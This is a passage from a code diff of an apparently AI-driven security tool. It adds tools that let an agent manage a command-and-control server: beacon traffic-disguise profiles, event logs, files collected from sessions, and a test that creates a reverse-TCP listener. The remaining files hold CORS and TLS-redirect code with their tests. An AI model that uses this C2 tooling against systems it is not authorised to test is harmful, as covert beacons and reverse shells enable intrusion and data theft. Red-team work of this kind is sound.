}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
|
||||||
|
filter := database.ListC2EventsFilter{
|
||||||
|
Level: getString(params, "level"),
|
||||||
|
Category: getString(params, "category"),
|
||||||
|
ProjectID: mcpEffectiveProjectFilter(ctx, m.DB()),
|
||||||
|
SessionID: getString(params, "session_id"),
|
||||||
|
TaskID: getString(params, "task_id"),
|
||||||
|
Limit: int(getFloat64(params, "limit")),
|
||||||
|
}
|
||||||
|
if filter.Limit <= 0 {
|
||||||
|
filter.Limit = 50
|
||||||
|
}
|
||||||
|
if since := getString(params, "since"); since != "" {
|
||||||
|
if t, err := time.Parse(time.RFC3339, since); err == nil {
|
||||||
|
filter.Since = &t
|
||||||
|
}
|
||||||
|
}
|
||||||
|
events, err := m.DB().ListC2EventsForAccess(filter, c2ToolAccess(ctx))
|
||||||
|
return makeC2Result(map[string]interface{}{"events": events, "count": len(events)}, err)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func c2ToolAccess(ctx context.Context) database.RBACListAccess {
|
||||||
|
principal, ok := authctx.PrincipalFromContext(ctx)
|
||||||
|
if !ok {
|
||||||
|
return database.RBACListAccess{Scope: database.RBACScopeAssigned}
|
||||||
|
}
|
||||||
|
return database.RBACListAccess{UserID: principal.UserID, Scope: principal.ScopeFor("c2:read")}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// c2_profile — Malleable Profile 管理工具(新增)
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
func registerC2ProfileTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
|
||||||
|
s.RegisterTool(mcp.Tool{
|
||||||
|
Name: builtin.ToolC2Profile,
|
||||||
|
Description: `C2 Malleable Profile 管理(控制 beacon 通信伪装)。通过 action 参数选择操作:
|
||||||
|
- list: 列出所有 Profile
|
||||||
|
- get: 获取 Profile 详情(需 profile_id)
|
||||||
|
- create: 创建 Profile(需 name,可选 user_agent/uris/request_headers/response_headers/body_template/jitter_min_ms/jitter_max_ms)
|
||||||
|
- update: 更新 Profile(需 profile_id)
|
||||||
|
- delete: 删除 Profile(需 profile_id)`,
|
||||||
|
InputSchema: map[string]interface{}{
|
||||||
|
"type": "object",
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"action": map[string]interface{}{"type": "string", "description": "操作: list/get/create/update/delete", "enum": []string{"list", "get", "create", "update", "delete"}},
|
||||||
|
"profile_id": map[string]interface{}{"type": "string", "description": "Profile ID(get/update/delete 需要)"},
|
||||||
|
"name": map[string]interface{}{"type": "string", "description": "Profile 名称"},
|
||||||
|
"user_agent": map[string]interface{}{"type": "string", "description": "User-Agent 字符串"},
|
||||||
|
"uris": map[string]interface{}{"type": "array", "items": map[string]interface{}{"type": "string"}, "description": "beacon 请求的 URI 列表"},
|
||||||
|
"request_headers": map[string]interface{}{"type": "object", "description": "自定义请求头"},
|
||||||
|
"response_headers": map[string]interface{}{"type": "object", "description": "自定义响应头"},
|
||||||
|
"body_template": map[string]interface{}{"type": "string", "description": "响应体模板"},
|
||||||
|
"jitter_min_ms": map[string]interface{}{"type": "integer", "description": "最小抖动(毫秒)"},
|
||||||
|
"jitter_max_ms": map[string]interface{}{"type": "integer", "description": "最大抖动(毫秒)"},
|
||||||
|
},
|
||||||
|
"required": []string{"action"},
|
||||||
|
},
|
||||||
|
}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
|
||||||
|
action := getString(params, "action")
|
||||||
|
id := getString(params, "profile_id")
|
||||||
|
|
||||||
|
switch action {
|
||||||
|
case "list":
|
||||||
|
profiles, err := m.DB().ListC2Profiles()
|
||||||
|
return makeC2Result(map[string]interface{}{"profiles": profiles, "count": len(profiles)}, err)
|
||||||
|
|
||||||
|
case "get":
|
||||||
|
profile, err := m.DB().GetC2Profile(id)
|
||||||
|
if err != nil {
|
||||||
|
return makeC2Result(nil, err)
|
||||||
|
}
|
||||||
|
if profile == nil {
|
||||||
|
return makeC2Result(nil, fmt.Errorf("profile not found"))
|
||||||
|
}
|
||||||
|
return makeC2Result(map[string]interface{}{"profile": profile}, nil)
|
||||||
|
|
||||||
|
case "create":
|
||||||
|
profile := &database.C2Profile{
|
||||||
|
ID: "p_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14],
|
||||||
|
Name: getString(params, "name"),
|
||||||
|
UserAgent: getString(params, "user_agent"),
|
||||||
|
BodyTemplate: getString(params, "body_template"),
|
||||||
|
JitterMinMS: int(getFloat64(params, "jitter_min_ms")),
|
||||||
|
JitterMaxMS: int(getFloat64(params, "jitter_max_ms")),
|
||||||
|
CreatedAt: time.Now(),
|
||||||
|
}
|
||||||
|
if uris, ok := params["uris"]; ok {
|
||||||
|
if arr, ok := uris.([]interface{}); ok {
|
||||||
|
for _, u := range arr {
|
||||||
|
if s, ok := u.(string); ok {
|
||||||
|
profile.URIs = append(profile.URIs, s)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if rh, ok := params["request_headers"]; ok {
|
||||||
|
if m, ok := rh.(map[string]interface{}); ok {
|
||||||
|
profile.RequestHeaders = make(map[string]string)
|
||||||
|
for k, v := range m {
|
||||||
|
profile.RequestHeaders[k], _ = v.(string)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if rh, ok := params["response_headers"]; ok {
|
||||||
|
if m, ok := rh.(map[string]interface{}); ok {
|
||||||
|
profile.ResponseHeaders = make(map[string]string)
|
||||||
|
for k, v := range m {
|
||||||
|
profile.ResponseHeaders[k], _ = v.(string)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if err := m.DB().CreateC2Profile(profile); err != nil {
|
||||||
|
return makeC2Result(nil, err)
|
||||||
|
}
|
||||||
|
return makeC2Result(map[string]interface{}{"profile": profile}, nil)
|
||||||
|
|
||||||
|
case "update":
|
||||||
|
profile, err := m.DB().GetC2Profile(id)
|
||||||
|
if err != nil {
|
||||||
|
return makeC2Result(nil, err)
|
||||||
|
}
|
||||||
|
if profile == nil {
|
||||||
|
return makeC2Result(nil, fmt.Errorf("profile not found"))
|
||||||
|
}
|
||||||
|
if v := getString(params, "name"); v != "" {
|
||||||
|
profile.Name = v
|
||||||
|
}
|
||||||
|
if v := getString(params, "user_agent"); v != "" {
|
||||||
|
profile.UserAgent = v
|
||||||
|
}
|
||||||
|
if v := getString(params, "body_template"); v != "" {
|
||||||
|
profile.BodyTemplate = v
|
||||||
|
}
|
||||||
|
if v := int(getFloat64(params, "jitter_min_ms")); v > 0 {
|
||||||
|
profile.JitterMinMS = v
|
||||||
|
}
|
||||||
|
if v := int(getFloat64(params, "jitter_max_ms")); v > 0 {
|
||||||
|
profile.JitterMaxMS = v
|
||||||
|
}
|
||||||
|
if uris, ok := params["uris"]; ok {
|
||||||
|
if arr, ok := uris.([]interface{}); ok {
|
||||||
|
profile.URIs = nil
|
||||||
|
for _, u := range arr {
|
||||||
|
if s, ok := u.(string); ok {
|
||||||
|
profile.URIs = append(profile.URIs, s)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if rh, ok := params["request_headers"]; ok {
|
||||||
|
if mp, ok := rh.(map[string]interface{}); ok {
|
||||||
|
profile.RequestHeaders = make(map[string]string)
|
||||||
|
for k, v := range mp {
|
||||||
|
profile.RequestHeaders[k], _ = v.(string)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if rh, ok := params["response_headers"]; ok {
|
||||||
|
if mp, ok := rh.(map[string]interface{}); ok {
|
||||||
|
profile.ResponseHeaders = make(map[string]string)
|
||||||
|
for k, v := range mp {
|
||||||
|
profile.ResponseHeaders[k], _ = v.(string)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if err := m.DB().UpdateC2Profile(profile); err != nil {
|
||||||
|
return makeC2Result(nil, err)
|
||||||
|
}
|
||||||
|
return makeC2Result(map[string]interface{}{"profile": profile}, nil)
|
||||||
|
|
||||||
|
case "delete":
|
||||||
|
err := m.DB().DeleteC2Profile(id)
|
||||||
|
return makeC2Result(map[string]interface{}{"deleted": err == nil}, err)
|
||||||
|
|
||||||
|
default:
|
||||||
|
return makeC2Result(nil, fmt.Errorf("unknown action: %s", action))
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// c2_file — 文件管理工具(新增)
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
func registerC2FileTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
|
||||||
|
s.RegisterTool(mcp.Tool{
|
||||||
|
Name: builtin.ToolC2File,
|
||||||
|
Description: `C2 文件管理。通过 action 参数选择操作:
|
||||||
|
- list: 列出会话的文件传输记录(需 session_id)
|
||||||
|
- get_result: 获取任务结果文件路径(截图等,需 task_id)`,
|
||||||
|
InputSchema: map[string]interface{}{
|
||||||
|
"type": "object",
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"action": map[string]interface{}{"type": "string", "description": "操作: list/get_result", "enum": []string{"list", "get_result"}},
|
||||||
|
"session_id": map[string]interface{}{"type": "string", "description": "会话 ID(list 需要)"},
|
||||||
|
"task_id": map[string]interface{}{"type": "string", "description": "任务 ID(get_result 需要)"},
|
||||||
|
},
|
||||||
|
"required": []string{"action"},
|
||||||
|
},
|
||||||
|
}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
|
||||||
|
action := getString(params, "action")
|
||||||
|
|
||||||
|
switch action {
|
||||||
|
case "list":
|
||||||
|
sessionID := getString(params, "session_id")
|
||||||
|
if sessionID == "" {
|
||||||
|
return makeC2Result(nil, fmt.Errorf("session_id required"))
|
||||||
|
}
|
||||||
|
files, err := m.DB().ListC2FilesBySession(sessionID)
|
||||||
|
return makeC2Result(map[string]interface{}{"files": files, "count": len(files)}, err)
|
||||||
|
|
||||||
|
case "get_result":
|
||||||
|
taskID := getString(params, "task_id")
|
||||||
|
task, err := m.DB().GetC2Task(taskID)
|
||||||
|
if err != nil {
|
||||||
|
return makeC2Result(nil, err)
|
||||||
|
}
|
||||||
|
if task == nil {
|
||||||
|
return makeC2Result(nil, fmt.Errorf("task not found"))
|
||||||
|
}
|
||||||
|
if task.ResultBlobPath == "" {
|
||||||
|
return makeC2Result(map[string]interface{}{"has_file": false, "task_id": taskID}, nil)
|
||||||
|
}
|
||||||
|
return makeC2Result(map[string]interface{}{
|
||||||
|
"has_file": true,
|
||||||
|
"task_id": taskID,
|
||||||
|
"file_path": task.ResultBlobPath,
|
||||||
|
}, nil)
|
||||||
|
|
||||||
|
default:
|
||||||
|
return makeC2Result(nil, fmt.Errorf("unknown action: %s", action))
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// 工具函数
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
func getString(params map[string]interface{}, key string) string {
|
||||||
|
if v, ok := params[key]; ok {
|
||||||
|
if s, ok := v.(string); ok {
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
func getFloat64(params map[string]interface{}, key string) float64 {
|
||||||
|
if v, ok := params[key]; ok {
|
||||||
|
switch n := v.(type) {
|
||||||
|
case float64:
|
||||||
|
return n
|
||||||
|
case int:
|
||||||
|
return float64(n)
|
||||||
|
case string:
|
||||||
|
if f, err := strconv.ParseFloat(n, 64); err == nil {
|
||||||
|
return f
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
@@ -0,0 +1,69 @@
|
|||||||
|
package app
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/authctx"
|
||||||
|
"cyberstrike-ai/internal/c2"
|
||||||
|
"cyberstrike-ai/internal/database"
|
||||||
|
"cyberstrike-ai/internal/mcp"
|
||||||
|
"cyberstrike-ai/internal/mcp/builtin"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestC2ListenerCreateInheritsConversationProject(t *testing.T) {
|
||||||
|
db, err := database.NewDB(filepath.Join(t.TempDir(), "c2-tools.db"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
user, err := db.CreateRBACUser("c2-agent", "C2 Agent", "hash", true, nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
project, err := db.CreateProject(&database.Project{Name: "engagement"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.AssignResourceToUser(user.ID, "project", project.ID); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
conversation, err := db.CreateConversation("project chat", database.ConversationCreateMeta{ProjectID: project.ID})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
principal := authctx.NewPrincipal(user.ID, user.Username, database.RBACScopeAssigned, map[string]bool{
|
||||||
|
"c2:read": true, "c2:write": true,
|
||||||
|
})
|
||||||
|
ctx := authctx.WithPrincipal(mcp.WithMCPConversationID(context.Background(), conversation.ID), principal)
|
||||||
|
server := mcp.NewServer(zap.NewNop())
|
||||||
|
server.SetToolAuthorizer(mcpToolAuthorizer(db))
|
||||||
|
registerC2Tools(server, c2.NewManager(db, zap.NewNop(), t.TempDir()), zap.NewNop(), 8080)
|
||||||
|
|
||||||
|
result, _, err := server.CallTool(ctx, builtin.ToolC2Listener, map[string]interface{}{
|
||||||
|
"action": "create",
|
||||||
|
"name": "tcp-reverse-2222",
|
||||||
|
"type": "tcp_reverse",
|
||||||
|
"bind_host": "0.0.0.0",
|
||||||
|
"bind_port": 2222,
|
||||||
|
})
|
||||||
|
if err != nil || result == nil || result.IsError {
|
||||||
|
t.Fatalf("create listener result=%#v err=%v text=%q", result, err, toolResultText(result))
|
||||||
|
}
|
||||||
|
|
||||||
|
listeners, err := db.ListC2Listeners()
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(listeners) != 1 {
|
||||||
|
t.Fatalf("listener count=%d, want 1", len(listeners))
|
||||||
|
}
|
||||||
|
if listeners[0].ProjectID != project.ID {
|
||||||
|
t.Fatalf("listener project_id=%q, want %q", listeners[0].ProjectID, project.ID)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,105 @@
|
|||||||
|
package app
|
||||||
|
|
||||||
|
import (
|
||||||
|
"net/http"
|
||||||
|
"net/http/httptest"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/gin-gonic/gin"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestCORSMiddlewareAllowsSameOriginAndRejectsForeignOrigin(t *testing.T) {
|
||||||
|
gin.SetMode(gin.TestMode)
|
||||||
|
router := gin.New()
|
||||||
|
router.Use(corsMiddleware(nil))
|
||||||
|
router.GET("/test", func(c *gin.Context) { c.Status(http.StatusNoContent) })
|
||||||
|
|
||||||
|
same := httptest.NewRequest(http.MethodGet, "http://app.example/test", nil)
|
||||||
|
same.Host = "app.example"
|
||||||
|
same.Header.Set("Origin", "http://app.example")
|
||||||
|
sameW := httptest.NewRecorder()
|
||||||
|
router.ServeHTTP(sameW, same)
|
||||||
|
if sameW.Code != http.StatusNoContent || sameW.Header().Get("Access-Control-Allow-Origin") != "http://app.example" {
|
||||||
|
t.Fatalf("same-origin response = %d, allow-origin=%q", sameW.Code, sameW.Header().Get("Access-Control-Allow-Origin"))
|
||||||
|
}
|
||||||
|
|
||||||
|
foreign := httptest.NewRequest(http.MethodGet, "http://app.example/test", nil)
|
||||||
|
foreign.Host = "app.example"
|
||||||
|
foreign.Header.Set("Origin", "https://evil.example")
|
||||||
|
foreignW := httptest.NewRecorder()
|
||||||
|
router.ServeHTTP(foreignW, foreign)
|
||||||
|
if foreignW.Code != http.StatusForbidden {
|
||||||
|
t.Fatalf("foreign-origin response = %d, want %d", foreignW.Code, http.StatusForbidden)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCORSMiddlewareAllowsBrowserExtensionWithoutConfiguration(t *testing.T) {
|
||||||
|
gin.SetMode(gin.TestMode)
|
||||||
|
router := gin.New()
|
||||||
|
router.Use(corsMiddleware(nil))
|
||||||
|
router.POST("/api/auth/login", func(c *gin.Context) { c.Status(http.StatusNoContent) })
|
||||||
|
|
||||||
|
req := httptest.NewRequest(http.MethodOptions, "https://server.example/api/auth/login", nil)
|
||||||
|
req.Host = "server.example"
|
||||||
|
req.Header.Set("Origin", "chrome-extension://abcdefghijklmnopabcdefghijklmnop")
|
||||||
|
req.Header.Set("Access-Control-Request-Method", http.MethodPost)
|
||||||
|
w := httptest.NewRecorder()
|
||||||
|
router.ServeHTTP(w, req)
|
||||||
|
|
||||||
|
if w.Code != http.StatusNoContent {
|
||||||
|
t.Fatalf("preflight response = %d, want %d", w.Code, http.StatusNoContent)
|
||||||
|
}
|
||||||
|
if got := w.Header().Get("Access-Control-Allow-Origin"); got != "chrome-extension://abcdefghijklmnopabcdefghijklmnop" {
|
||||||
|
t.Fatalf("allow-origin = %q", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCORSMiddlewareRejectsInvalidExtensionOrigins(t *testing.T) {
|
||||||
|
gin.SetMode(gin.TestMode)
|
||||||
|
for _, origin := range []string{
|
||||||
|
"chrome-extension://too-short",
|
||||||
|
"chrome-extension://qrstuvwxyzabcdefqrstuvwxyzabcdef",
|
||||||
|
"chrome-extension://abcdefghijklmnopabcdefghijklmnop:8443",
|
||||||
|
"moz-extension://abcdefghijklmnopabcdefghijklmnop",
|
||||||
|
} {
|
||||||
|
t.Run(origin, func(t *testing.T) {
|
||||||
|
router := gin.New()
|
||||||
|
router.Use(corsMiddleware(nil))
|
||||||
|
router.GET("/test", func(c *gin.Context) { c.Status(http.StatusNoContent) })
|
||||||
|
|
||||||
|
req := httptest.NewRequest(http.MethodGet, "https://server.example/test", nil)
|
||||||
|
req.Host = "server.example"
|
||||||
|
req.Header.Set("Origin", origin)
|
||||||
|
w := httptest.NewRecorder()
|
||||||
|
router.ServeHTTP(w, req)
|
||||||
|
if w.Code != http.StatusForbidden {
|
||||||
|
t.Fatalf("response = %d, want %d", w.Code, http.StatusForbidden)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCORSMiddlewareRejectsUnsafeConfiguredEntries(t *testing.T) {
|
||||||
|
gin.SetMode(gin.TestMode)
|
||||||
|
for _, configured := range []string{
|
||||||
|
"*",
|
||||||
|
"null",
|
||||||
|
"https://trusted.example/extra",
|
||||||
|
"https://trusted.example?trusted=true",
|
||||||
|
} {
|
||||||
|
t.Run(configured, func(t *testing.T) {
|
||||||
|
router := gin.New()
|
||||||
|
router.Use(corsMiddleware([]string{configured}))
|
||||||
|
router.GET("/test", func(c *gin.Context) { c.Status(http.StatusNoContent) })
|
||||||
|
|
||||||
|
req := httptest.NewRequest(http.MethodGet, "https://server.example/test", nil)
|
||||||
|
req.Host = "server.example"
|
||||||
|
req.Header.Set("Origin", "https://trusted.example")
|
||||||
|
w := httptest.NewRecorder()
|
||||||
|
router.ServeHTTP(w, req)
|
||||||
|
if w.Code != http.StatusForbidden {
|
||||||
|
t.Fatalf("response = %d, want %d", w.Code, http.StatusForbidden)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,213 @@
|
|||||||
|
package app
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bufio"
|
||||||
|
"context"
|
||||||
|
"crypto/tls"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"net"
|
||||||
|
"net/http"
|
||||||
|
"strconv"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
// peekedConn 在已预读首字节后仍将连接交给 net/http 或 crypto/tls。
|
||||||
|
type peekedConn struct {
|
||||||
|
net.Conn
|
||||||
|
r *bufio.Reader
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *peekedConn) Read(p []byte) (int, error) {
|
||||||
|
return c.r.Read(p)
|
||||||
|
}
|
||||||
|
|
||||||
|
// oneConnListener 供 http.Server.Serve 处理单条 TCP 连接(含 keep-alive)。
|
||||||
|
type oneConnListener struct {
|
||||||
|
conn net.Conn
|
||||||
|
addr net.Addr
|
||||||
|
once sync.Once
|
||||||
|
}
|
||||||
|
|
||||||
|
func (l *oneConnListener) Accept() (net.Conn, error) {
|
||||||
|
var c net.Conn
|
||||||
|
l.once.Do(func() {
|
||||||
|
c = l.conn
|
||||||
|
l.conn = nil
|
||||||
|
})
|
||||||
|
if c == nil {
|
||||||
|
return nil, net.ErrClosed
|
||||||
|
}
|
||||||
|
return c, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (l *oneConnListener) Close() error { return nil }
|
||||||
|
func (l *oneConnListener) Addr() net.Addr { return l.addr }
|
||||||
|
|
||||||
|
// httpServerForTLSConn 从已有 Server 复制可服务字段,用于已握手 TLS 连接上的 HTTP 服务。
|
||||||
|
// 不能复制整个 http.Server(内含 atomic/noCopy 字段)。
|
||||||
|
func httpServerForTLSConn(src *http.Server) *http.Server {
|
||||||
|
return &http.Server{
|
||||||
|
Handler: src.Handler,
|
||||||
|
DisableGeneralOptionsHandler: src.DisableGeneralOptionsHandler,
|
||||||
|
ReadTimeout: src.ReadTimeout,
|
||||||
|
ReadHeaderTimeout: src.ReadHeaderTimeout,
|
||||||
|
WriteTimeout: src.WriteTimeout,
|
||||||
|
IdleTimeout: src.IdleTimeout,
|
||||||
|
MaxHeaderBytes: src.MaxHeaderBytes,
|
||||||
|
ConnState: src.ConnState,
|
||||||
|
ErrorLog: src.ErrorLog,
|
||||||
|
BaseContext: src.BaseContext,
|
||||||
|
ConnContext: src.ConnContext,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func isTLSHandshakeRecord(b byte) bool {
|
||||||
|
return b == 0x16
|
||||||
|
}
|
||||||
|
|
||||||
|
func newHTTPToHTTPSRedirectHandler(httpsPort int) http.Handler {
|
||||||
|
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||||
|
host := r.Host
|
||||||
|
if h, _, err := net.SplitHostPort(host); err == nil {
|
||||||
|
host = h
|
||||||
|
}
|
||||||
|
var target string
|
||||||
|
if httpsPort == 443 {
|
||||||
|
target = fmt.Sprintf("https://%s%s", host, r.URL.RequestURI())
|
||||||
|
} else {
|
||||||
|
target = fmt.Sprintf("https://%s:%d%s", host, httpsPort, r.URL.RequestURI())
|
||||||
|
}
|
||||||
|
http.Redirect(w, r, target, http.StatusPermanentRedirect)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func portFromListenAddr(addr string) int {
|
||||||
|
_, portStr, err := net.SplitHostPort(addr)
|
||||||
|
if err != nil {
|
||||||
|
return 443
|
||||||
|
}
|
||||||
|
p, err := strconv.Atoi(portStr)
|
||||||
|
if err != nil || p <= 0 {
|
||||||
|
return 443
|
||||||
|
}
|
||||||
|
return p
|
||||||
|
}
|
||||||
|
|
||||||
|
func ensureMainTLSConfigCerts(mode mainTLSMode, tlsConf *tls.Config, certFile, keyFile string) (*tls.Config, error) {
|
||||||
|
if mode != mainTLSFromFiles {
|
||||||
|
return tlsConf, nil
|
||||||
|
}
|
||||||
|
if tlsConf == nil {
|
||||||
|
tlsConf = &tls.Config{MinVersion: tls.VersionTLS12}
|
||||||
|
}
|
||||||
|
if len(tlsConf.Certificates) > 0 {
|
||||||
|
return tlsConf, nil
|
||||||
|
}
|
||||||
|
cert, err := tls.LoadX509KeyPair(certFile, keyFile)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
tlsConf.Certificates = []tls.Certificate{cert}
|
||||||
|
return tlsConf, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
type mainServerMux struct {
|
||||||
|
ln net.Listener
|
||||||
|
httpsSrv *http.Server
|
||||||
|
redirectSrv *http.Server
|
||||||
|
logger *zap.Logger
|
||||||
|
}
|
||||||
|
|
||||||
|
func newMainServerMux(ln net.Listener, httpsSrv *http.Server, httpsPort int, logger *zap.Logger) *mainServerMux {
|
||||||
|
return &mainServerMux{
|
||||||
|
ln: ln,
|
||||||
|
httpsSrv: httpsSrv,
|
||||||
|
redirectSrv: &http.Server{Handler: newHTTPToHTTPSRedirectHandler(httpsPort), ReadHeaderTimeout: 10 * time.Second},
|
||||||
|
logger: logger,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *mainServerMux) Serve() error {
|
||||||
|
for {
|
||||||
|
conn, err := m.ln.Accept()
|
||||||
|
if err != nil {
|
||||||
|
if errors.Is(err, net.ErrClosed) {
|
||||||
|
return http.ErrServerClosed
|
||||||
|
}
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
go m.handleConn(conn)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *mainServerMux) handleConn(raw net.Conn) {
|
||||||
|
if err := raw.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil {
|
||||||
|
_ = raw.Close()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
br := bufio.NewReader(raw)
|
||||||
|
b, err := br.Peek(1)
|
||||||
|
if err != nil {
|
||||||
|
_ = raw.Close()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_ = raw.SetReadDeadline(time.Time{})
|
||||||
|
|
||||||
|
pc := &peekedConn{Conn: raw, r: br}
|
||||||
|
ocl := &oneConnListener{conn: pc, addr: raw.LocalAddr()}
|
||||||
|
|
||||||
|
if isTLSHandshakeRecord(b[0]) {
|
||||||
|
m.serveHTTPS(pc, raw.LocalAddr())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err := m.redirectSrv.Serve(ocl); err != nil && !errors.Is(err, net.ErrClosed) && !errors.Is(err, http.ErrServerClosed) {
|
||||||
|
m.logger.Debug("HTTP 重定向连接处理结束", zap.Error(err))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// serveHTTPS 在已嗅探为 TLS 的连接上完成握手,再按 ALPN 走 HTTP/2 或 HTTP/1.1。
|
||||||
|
// 不能对同一 http.Server 并发调用 Serve(TLSConfig!=nil),否则握手/ALPN 会异常(浏览器 ERR_SSL_PROTOCOL_ERROR)。
|
||||||
|
func (m *mainServerMux) serveHTTPS(pc *peekedConn, localAddr net.Addr) {
|
||||||
|
tlsConn := tls.Server(pc, m.httpsSrv.TLSConfig)
|
||||||
|
handCtx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
if err := tlsConn.HandshakeContext(handCtx); err != nil {
|
||||||
|
m.logger.Debug("TLS 握手失败", zap.Error(err))
|
||||||
|
_ = pc.Close()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
srv := m.httpsSrv
|
||||||
|
if srv.TLSNextProto != nil {
|
||||||
|
proto := tlsConn.ConnectionState().NegotiatedProtocol
|
||||||
|
if fn := srv.TLSNextProto[proto]; fn != nil {
|
||||||
|
fn(srv, tlsConn, srv.Handler)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
plain := httpServerForTLSConn(srv)
|
||||||
|
ocl := &oneConnListener{conn: tlsConn, addr: localAddr}
|
||||||
|
if err := plain.Serve(ocl); err != nil && !errors.Is(err, net.ErrClosed) && !errors.Is(err, http.ErrServerClosed) {
|
||||||
|
m.logger.Debug("HTTPS 连接处理结束", zap.Error(err))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *mainServerMux) Shutdown(ctx context.Context) error {
|
||||||
|
_ = m.ln.Close()
|
||||||
|
var err1, err2 error
|
||||||
|
if m.httpsSrv != nil {
|
||||||
|
err1 = m.httpsSrv.Shutdown(ctx)
|
||||||
|
}
|
||||||
|
if m.redirectSrv != nil {
|
||||||
|
err2 = m.redirectSrv.Shutdown(ctx)
|
||||||
|
}
|
||||||
|
if err1 != nil {
|
||||||
|
return err1
|
||||||
|
}
|
||||||
|
return err2
|
||||||
|
}
|
||||||
@@ -0,0 +1,150 @@
|
|||||||
|
package app
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/tls"
|
||||||
|
"io"
|
||||||
|
"net"
|
||||||
|
"net/http"
|
||||||
|
"net/http/httptest"
|
||||||
|
"strconv"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/config"
|
||||||
|
|
||||||
|
"golang.org/x/net/http2"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestNewHTTPToHTTPSRedirectHandler(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
httpsPort int
|
||||||
|
host string
|
||||||
|
uri string
|
||||||
|
wantTarget string
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
name: "non standard port",
|
||||||
|
httpsPort: 8080,
|
||||||
|
host: "127.0.0.1:8080",
|
||||||
|
uri: "/login?next=/",
|
||||||
|
wantTarget: "https://127.0.0.1:8080/login?next=/",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "standard port",
|
